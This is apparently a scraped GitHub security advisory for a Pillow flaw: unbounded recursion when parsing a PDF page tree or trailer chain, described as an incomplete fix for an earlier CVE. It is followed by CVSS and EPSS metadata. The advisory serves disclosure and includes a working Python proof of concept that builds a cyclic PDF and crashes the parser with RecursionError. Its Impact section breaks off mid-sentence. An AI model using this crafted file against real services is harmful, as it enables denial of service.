CVE-2026-112895
### Summary When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf) PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or
Properties
- Severity
- high
- Summary
- Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
- Nvd fetched at
- 2026-10-20T21:14:08.448323+00:00
- Epss score
- 0.00291
- Cvss severity
- HIGH
- Cvss score
- 8.7
- Retrieved at
- 2026-10-21T01:24:48+00:00
- Ghsa published
- 2026-10-20T20:50:49Z
- Source url
- https://github.com/advisories/GHSA-p4wg-p73j-c528
- Ghsa updated
- 2026-10-20T20:50:50Z
- Ghsa id
- GHSA-p4wg-p73j-c528
- Last source
- FIRST EPSS
- Score
- 8.7
- Cvss version
- 4.0
- Cve id
- CVE-2026-112895
- Cvss vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- First seen by Signal
- 2026-10-20T00:27:55+00:00
- Is ghsa only
- false
- Vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Published at
- 2026-10-19T22:17:09.620
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